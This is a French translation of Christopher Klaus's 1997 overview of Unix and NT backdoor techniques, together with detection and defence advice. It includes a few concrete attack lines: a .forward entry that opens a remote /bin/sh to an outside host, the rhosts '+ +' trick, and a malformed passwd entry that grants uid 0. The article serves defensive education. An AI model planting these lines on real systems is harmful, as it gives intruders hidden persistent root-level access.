Backdoors

By Christopher Klaus 8/4/97
Traduit par lansciac 18/01/2000



Depuis que l'informatique existe, on retrouve des rapports d'intrusion;
les pirates ont essaye de développer des techniques ou backdoors (trappes)
qui permettent de rentrer a l'interieur des systemes. Dans cet article,
nous mettrons l'accent sur les backdoors les plus connues et les moyens
possibles de les détecter et les eliminer.
La plupart de nos propos concerneront les systemes Unix avec une ouverture
sur le système Windows NT. Nous décrirons le problème en essayent de
determiner la methode qu'utilise les pirates ainsi que les methodes que les
administrateurs peuvent employer pour arreter ces intrus. Lorsqu'un 
administrateur comprend combien il est difficile d'arreter des intrus
qui sont deja "intra muros", le comportement sur la veille securisationnelle
est mieux assimile. Nous allons essayer de couvrir la 
plupart des failles utilisees par les pirates. Cependant, 
nous ne couvrirons pas toutes les failles car la creations des 'portes
arrieres' est sans limites.


Les backdoors utilisees par la plupart des pirates fournissent deux ou trois
fonctions principales:

Etre capable de rentrer dans une machine, meme si l'administrateur essaye
de le securiser, par exemple en changeant tous les mots de passe.

Etre capable de rentrer dans une machine en laissant le moins de traces
possibles.
La plupart des backdoors permettent d'etre logge sur une machine alors que cela
est transparent sur la machine.

Etre capable de rentrer dans une machine en perdant le moins de temps possible.
La plupart des pirates veulent pouvoir utiliser facilement une machine sans
avoir 
a rechercher les failles de securite pour obtenir un acces.

Dans la plupart des cas, si le pirate pense que l'administrateur est en 
mesure de detecter une backdoor installee, il cherchera toutes les 
failles existantes pour les utiliser comme des backdoors. Cela ne concerne
evidement pas celle qui pourrait avertir l'administrateur. Cependant dans
quelques
cas, les vulnerabilités d'une machine restent des portes ouvertes non connues.

Password Cracking Backdoor

Une des premieres et plus anciennes methodes pour obtenir non seulement
un acces mais aussi une backdoor sur un systeme Unix etait d'utiliser un 
cracker de password. Il revele les passwords des comptes.La plupart du temps, 
les pirates utilisent des comptes qui sont laisses de cotes et qui ont des
passwords faciles a trouver et les changent par des pass plus difficiles. 
Quand l'administrateur regarde les comptes, il ne 
s'appercoit pas des changements. Ainsi l'administrateur ne peut determiner
quels comptes il doit fermer.

Rhosts + + Backdoor

Sur des machines en reseau dans un environnement Unix, les services comme Rsh
et
Rlogin utilisent une simple methode d'autentification basee sur un 
nom d'hote qui est place dans rhosts. Un utilisateur peut facilement configurer
une machine pour qu'il n'y ait plus de demande d'autentification password
pour se logger. Un pirate peut facilement obtenir un acces en rajoutant
"+ +" dans le fichier de configuration de rhosts et ainsi se logger sans 
password. Cette methode est tres utilisee, surtout quand NFS exporte le 
repertoire personnel vers l'exterieur. Ces acces deviennent des backdoors
qui permettent un acces facile au systeme. Beaucoup de pirates preferent 
employer Rsh plutot que Rlogin car c'est un gain de temps et de possibilites
au niveau du systeme. Beaucoup d'administrateurs verifient qu'il n'y ait pas
de "+ +" dans le fichier de configuration; cependant un pirate peut facilement,
une fois qu'il a un acces, inserer un nom d'hote et un nom d'utilisateur a
partir
d'un autre compte asservi sur le reseau, ce qui est par consequent beaucoup
plus
difficile a trouver.

Checksum and Timestamp Backdoors

Depuis longtemps, les pirates remplacent les fichiers binaires des systemes
Unix par leurs propres fichiers munis de trojan. Beaucoup d'administrateurs
systeme se basent sur le time-stamping et le systeme de verification des 
programmes (system checksum programs), comme par exemple le programme de 
somme d'Unix (Unix's sum program), pour essayer de determiner quand un 
fichier binaire a ete modifie. Les pirates ont developpes des technologies qui 
recree la meme etiquette pour le fichier infecte que celle du fichier originale
(NDT: cette etiquette est un marqueur de temps appele time-stamp qui indique
la date de creation et de modification du fichier). Cette action est accomplie
en bidouillant l'horloge systeme. On ramene l'horloge au moment de la creation
du fichier original et on insere le fichier infecte. Une fois cette operation 
effectuee, l'horloge est remise a l'heure exacte. Le programme de somme quand a
lui se base sur un checksum CRC et est facilement masque. Les pirates ont
developpes des programmes qui peuvent modifier le fichier binaire infecte de 
maniere a ce qui l'est la meme checksum que le fichier original, et ainsi 
se cacher des administrateurs. La somme de verification MD5 (checksum MD5) est
le choix recommande par les vendeurs de nos jours. Le MD5 est base sur un
algorithme
qui au jour d'aujourd'hui n'a pas donne la preuve qu'il pouvait etre singe.


Login Backdoor

Sur un systeme Unix, le programme de login est un logiciel qui utilise
l'autentification par password lorsque quelqu'un fait un telnet
sur la machine. Les pirates s'accaparent du code source de login.c
et le modifie de telle maniere que lorsque le programme verifie
le pass avec le pass enregistre, il verifiera d'abord le password
ouvrant la backdoor. Si l'utilisateur rentre le password activant la backdoor,
il vous pourra se logger sans se soucier du fait que l'administrateur
se log aussi. Ainsi, vous pouvez vous logger sous n'importe quel
compte, meme celui de root. Le backdoor password pourrait multiplier
les acces avant que l'utilisateur se logge et apparaisse dans
utmp et wtmp. Cependant un pirate peut etre logge et avoir un acces
shell sans que personne n'apparaisse comme etant logge sur la machine
sous ce compte. Les administrateurs mettent en evidence ces backdoors
lorsqu'ils executent des chaines de commandes pour trouver quel
texte est inscrit dans le programme de login. La plupart du temps,
les backdoors passwords sont ainsi mises a jour. Les pirates avises
encapsulent alors leurs backdoors ou les cryptent, ce qui permet
de les cacher a des commandes aussi simple. Beaucoup d'administrateur
peuvent detecter ces backdoors en utilisant un checksum MD5.


Telnetd Backdoor

Lorsqu'un utilisateur fait tun telnet sur une machine, le service Inetd
ecoute sur le port, recoit la demande de connexion et la passe a in.telnetd,
qui lance le login. Les pirates savent que les administrateurs utilisent des
programmes de tampering, ils modifient donc in.telnetd. A l'interieur de
in.telnetd, il y a plusieurs verifications effectuees comme le type de 
terminal que l'utilisateur emploie. D'habitude, le terminal employe est
un Xterm ou un VT100. Un pirate peut creer une backdoor; lorsque le terminal
a ete positionne sur "letmein", il peut multiplier un shell sans requerir
quelconque autentification. Les pirates installent des backdoors sur differents
services ce qui leurs permet d'obtenir un shell tres facilement

Services Backdoor

Presque chaque service reseau a à une epoque etait backdoore par un pirate.
Des versions backdoors de finger, rsh, rexec, rlogin, ftp, meme inetd, etc.,
existeront toujours. Il existe des programmes qui ne sont rien de plus que des
shells connectes sur un port TCP avec un pass pour obtenir un acces. Ces
programmes
remplacent de temps a autre des services comme uucp qui sont raremement usites
ou
sont tout simplement ajoutes au fichier inetd.conf comme un nouveau service.
Les administrateurs devraient etre tres attentifs quant aux services qui sont
en services et analyser les services originaux en utilisant une somme de
verification
basee sur du MD5 (checksum MD5).

Cronjob backdoor

Le Cronjob sous Unix planifie le lancement de certaines applications.
Un pirate peut inserer une backdoor qui ouvre un shell entre 1h et 2h
du matin. Pendant une heure chaque nuit, le pirate aura un acces. Il
aura ainsi largement le temps de regarder les programmes qui tournent
dans la table cron et installer des backdoors dans ces programmes.

Library backdoors

Presque tous les systemes unix utilisent des bibliotheques partagees.
Celles-ci existent car elles executent la meme fonction pour plusieurs
programmes et diminue ainsi la taille des programmes. Des pirates ont
implemente
des backdoors dans des routines comme crypt.c et _crypt.c qui sont utilises
dans les programmes comme login.c. Ainsi, si le password de la backdoor est
active, il lance un shell. Encore plus fort, si l'administrateur verifie
le programme login.c par un checksum MD5, il lancera une autre backdoor
et ouvrira une autre possibilite de shell. La plupart des administrateurs
ne pensent pas que les bibliotheques sont des sources d'infections possibles.


Un des problemes pour les pirates est que des administrateurs effectuent
un MD5 sur presque tout. Une des alternatives trouvees par les pirates
est de mettre des backdors sur la routine open() et celle d'acces au fichier.
Les routines infectees sont configurees pour lire les fichiers originaux,
mais executent la backdoor. Cependant, lorsque le programme qui effectue
la somme de verification MD5 lit ces fichiers, le resultat semble correct.
Mais lorsque le systeme execute le programme, il lance le trojan. Meme la 
bibliotheque du trojan peut etre cachee aux 'yeux' d'une checksum MD5.
Une des solutions pour les administrateurs est de linker les verificateurs
des checksum MD5 et de les utiliser sur le system. Le programme ainsi linker
n'utilisera pas les bibliotheques infectees et pourra effectuer correctement
les verifications.

Kernel backdoors

Le noyau d'un systeme Unix est le coeur du systeme. La meme methode
que celle appliquee pour les librairies pour passer outre le checksum MD5
peut etre utilisee au niveau du noyau, excepte que meme un programme protege
ne sera pas dire la difference. Un kernel infecte est surement une des choses
les plus dures a trouver pour un administrateur. Heuresement [pour eux], les 
scripts permettant ces infections ne sont pas encore au point ni tres repandus.
Cela a cause de la complexite et la difference de chacun des noyaux.

File system backdoors

Un pirate peut vouloir archiver son butin ou ses donnees sur un serveur
sans que l'administrateur ne trouve les fichiers. Ces fichiers peuvent
contenir ses boites a outils ou ses scripts d'exploits, backdoors, sniffer,
logs, données copies comme des e-mails, des code source, etc. Pour cacher
ses fichiers qui sont parfois volumineux des yeux d'un admin, un pirate
peut patcher des commandes du shell comme le "ls", le "du" et le "fsck" 
pour cacher l'existence de certains fichiers. A un tres bas niveau, une 
backdoor inseree par un pirate peut creer une section sur le disque dur
pour avoir un format proprietaire qui sera designe comme des secteurs 
deffectueux sur le disque dur. Ainsi le pirate peut acceder au fichiers
caches avec un utilitaire special, mais aux yeux de l'admin, cela sera
tres dificile de discerner que des fichiers caches ont ete inserees.


Bootblock backdoors

Dans le monde des PC, beaucoup de virus s'inseraient dans le secteur de 
boot et de nombreux anti virus verifiaient ce secteur pour voir si le 
secteur de boot avait ete altere. Sous Unix, la plupart des administrateurs
n'ont pas d'outils pour verifier le secteur de boot, et c'est sur cela que 
compte les pirates pour inserer des backdoors dans le secteur de boot.

Process hiding backdoors

La plupart du temps un pirate veut cacher les programmes qu'il emploie.
Les programmes qu'ils veulent cacher sont en general des crackers de 
password ou des sniffers. il existe plusieurs methodes et nous en avons
rassemblees quelques unes:

Un pirate peut ecrire un programme pour modifier ses propres
argv[] et le faire tourner sous un autre nom de process.

Un pirate peut renomer un sniffer en un autre service legitime comme
in.sylog et le lancer. Ainsi lorsqu'un admin lance un "ps" ou regarde
les process en cours, les services standards apparaissent.

Un pirate peut modifier les routines dans les bibliotheques ainsi "ps"
ne montrera pas les process.

Un intrus peut patcher une backdoor ou un programme a l'interieur
d'une routine d'interruption ainsi il n'apparaitra pas dans la 
table des processus. Un exemple de backdoor utilisant cette technique
est amod.tar.gz et est disponible a l'adresse suivante:
http://star.niimm.spb.su/~maillist/bugtraq.1/0777.html

Un pirate peut aussi modifier le noyau pour cacher certains processus.

Rootkit

Un des packages les plus connus pour installer des backdoors se nomme le 
rootkit. Il peut facilement etre trouve sur le web en le cherchant sur un 
moteur de recherche. Dans le README du rootkit, on retrouve les fichiers
typiques que l'on peut installer:

z2 - enleve les entrees dans utmp, wtmp, et lastlog.
Es - Le sniffer rokstar pour les noyaux bases sur sun4.
Fix - falsifie des checksums, installe avec les meme dates/perms/u/g.
Sl - devenir root par un password magique envoye au login.
Ic - modifie ifconfig pour enlever le drapeau de sortie PROMISC.
ps: - cache les processus.
Ns - modifie netstat pour cacher les connexions de certaines machines.
Ls - cache certains repertoires et fichiers.
du5 - cache l'espace utilise sur votre disque dur.
ls5 - cache certains repertoires et fichiers.


Network traffic backdoors

Non seulement les pirates veulent cacher leurs traces sur une machine, mais ils
veulent aussi cacher leurs activites sur le reseau. Des backdoors reseau
permettent parfois au pirate d'obtenir un acces au travers du firewall. Il y a
beaucoup
de programmes de backdoors reseau qui permettent aux intrus d'utiliser certains
ports
sur une machine ce qui leur permet de ne pas utiliser les services normaux. 
Parce que le traffic utilise des ports non standardises, l'administrateur peut
surveiller le traffic du pirate. Ces backdoors reseau utilisent les services
TCP, UDP et ICMP mais ils peuvent employer beaucoup d'autres sortes de paquets.

TCP Shell Backdoors

Un pirate peut mettre en place une backdoor avec un shell TCP sur de nombreux
ports que le firewall ne bloquera pas. La plupart du temps, les shells sont 
proteges par un password donc si un admin essaye de se connecter, il n'aura 
pas tout de suite l'acces. Un admin peut regarder les connexions etablies et
les
ports qui sont a l'ecoute avec la commande netstat. La majorite de ces
backdoors
permettent l'emploi des technologies de TCP Wrapper. Ces backdoors peuvent
utiliser le port SMTP, ce qui leurs pemet de passer au travers du firewall
sans etre repere.

UDP Shell Backdoors

Un administrateur peut facilement reperer une connexion TCP, alors que
dans le cas d'UDP il aura beaucoup plus de difficultes, et pour cause
car celles-ci n'apparaissent pas en faisant un netstat. La plupart des
firewalls sont configures pour laisser passer les packets UDP comme
les services DNS par exemple. Souvent les pirates etablissent une
trappe sur ce port et passent ainsi par dessus le firewall.

ICMP Shell Backdoors

La commande Ping est une des manieres les plus pratique pour savoir
si une machine distante est encore vivante. Pour cela on envoie et
on recoit des paquets ICMP. Beaucoup de firewall permettent a des
machines externes de pinger une machine a l'interieur du reseau. Un
pirate peut inserer des donnees dans un paquet ICMP qu'il enverra 
au travers d'un ping et etablir un shell au travers de ce tunnel.
Un flot important de Ping peut alerter un administrateur, mais le
temps qu'il analyse les donnees des paquets, le pirate aura disparu.

Encrypted Link

Un administrateur peut utiliser un sniffer pour essayer de voir quels
acces sont presents sur ses machines et par la meme determiner s'il y 
a intrusion ou non. Un pirate peut aussi ajouter une encryption a sa 
trappe reseau ce qui rendra impossible de determiner ce qui est transmis
entre les deux machines. 


Windows NT

Du fait que Windows Nt n'autorise pas facilement plusieurs utilisateurs
sur une meme machine et des acces a distance comme sous Unix, il est 
plus difficile pour un pirate de rentrer a l'interieur de Windows NT,
installer une backdoor et lancer une attaque a partir de la.
C'est pour cela que vous trouverez la plupart du temps des attaques reseau
lancees a partir de postes Unix plutot que de postes WindowsNT. Au fur et
a mesure que Windows NT avancera dans le concept du multi-utilisateur, de meme 
augmentera la possibilite pour les pirates d'utiliser Windows NT a leur 
avantage. Assurement, si cela arrive, la plupart des backdoors utilisees
sous Unix seront portees sous Windows NT et les administrateurs devraient 
s'y preparer. Aujourd'hui, on trouve deja le demon Telnet sous Windows NT.
Avec de backdoors reseau, il est tres facile d'installer des trappes sous
Windows NT.

Solutions

Au fur et a mesure que les technologies des backdoors avancent, il devient
de plus en plus dur pour les administrateurs de determiner si un pirate
a installer une trappe ou si les admins ont bien bloques les acces.

Evaluation

Une des premieres etapes consiste a analyser les faiblesses de son reseau,
ce qui permet de faire ressortir les failles existantes et de les reparer.
Beaucoup d'outils commerciaux existent pour scanner son reseau et mettre
en evidance les failles du systeme. Les entreprises pourrait eviter
des catastrophes si elles installees simplement les patchs de securite
que les vendeurs mettent gratuitement a disposition. 

La signature MD5 

Un des composants basique et necessaire a la verification du systeme est 
la somme de verification MD5. Il faut effectuer celle ci lorsque le systeme
est propre. Le fait d'effectuer une checksum sur le tard laisse emettre
l'hypothese qu'un pirate a deja infecte le systeme et rend donc celle ci 
inutile. De nombreuses entreprises ont ete piratees et ont des trappes
d'installees depuis de nombreux mois. La plupart du temps, meme les back up
sont infectes. Quand les entreprises se rendent compte qu'elles ont ete
hackees, elle font un back up dans l'espoir d'enlever ces trappes. L'effort
est donc inutile car en ayant restaure tous les fichiers, elles auront aussi
remis
toutes les trappes. L'image de comparaison doit donc necessairement etre faite
avant qu'une attaque ne se produise.

La detection d'intrusion

La detection d'intrusion devient plus important a partir du moment ou
les entreprises permettent une tele-connexion a leur machine. La
plus ancienne methode de detection d'intrusion se base sur l'etude des logs.
La methode la plus recente quant a elle (intrusion detection system (IDS))
utilise le sniffing en temps reel et l'analyse du reseau. La plupart des
trappes reseau peuvent donc facilement etre detectees. la derniere technologie
IDS peut verifier les paquets UDP de DNS et determiner si la demande du
protocole
DNS correspond avec une demande normale.Si les donnees circulant sur le port
DNS
ne correspondent pas avec celles du protocole DNS, un indicateur d'alerte est
active
et les donnees sont capturees pour permettre une analyse. Le meme principe peut
etre applique aux paquets ICMP pour voir si les donnees du ping sont coherentes
ou
si ce sont des donnees codees d'une session shell.


Boot from CD-ROM.

Les administrateurs devraient prendre en compte les possibilites de boot
a partir du CD-Rom, ce qui permettrait d'eliminer la possibilite aux pirates
d'installer des trappes a partir des CD-Rom. Le probleme avec cette methode
reside dans le cout et le temps de la mise en place dans les grandes
entreprises.

Etre vigilant

Parce que le milieu de la securite change tous les jours, avec de nouvelles
vulerabilites annoncees quotidiennement et l'incessance des pirates a
construire
dse nouvelles attaques et techniques de trappes, il ne peut y avoir de
technologie
de securite effective sans une grande vigilance.

Etre conscient qu'il n'y a pas de defense impermeable, et qu'il n'y a pas
de meilleure defense qu'une surveillance attentive.

-------------------------------------------------------------------------

On peut ajouter

.forward Backdoor

Sur les machines Unix, placer des commandes dans le fichier .forward
est aussi une methode tres employee pour obtenir un acces. Pour le 
compte "username", le fichier .forward doit contenir les lignes suivantes.

\username
|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 -e /bin/sh"

Une autre possibilite existe avec le fichier des alias de mail.
(fichier qui se trouve frequement dans /etc/aliases). c'est une
possibilite parmis tant d'autres. Ce qui est fait au dessus 
executera un script a partir du fichier forward et pourra 
recevoir des commandes a partir de stdin.


PS: La methode ci dessus est aussi utilise pour obtenir un acces mail
dans les entreprises (on considere le fait que le repertoire personnel
est partage sur la machine client et le serveur).

> utiliser smrsh peut effectivement fixer ce probleme (bien qu'il
> est possible que cela entraine des problemes si vous employez
> les filtres elm ou autorisez des programmes a se lancer automatiquement)


---------------------------------------------------------------------------

Pour terminer, une derniere trappe qui peut etre trouvee:

lorsque un mauvais uid/gid est specifie dans /etc/password,
la plupart des programmes de login ne verifieront pas
ce mauvais chiffrement et atoi (NDT: array to integer() fonction)
posistionnera l'uid et le gid a 0, donnant les privileges du
superutilisateur.

exemple:
rmartin:x:x50:50:R. Martin:/home/rmartin:/bin/tcsh
sur un systeme Linux , l'utilisateur rmatin obtiendra l'uid 0.

__________________________________________________________________
Traduit par lansciac 18/01/2000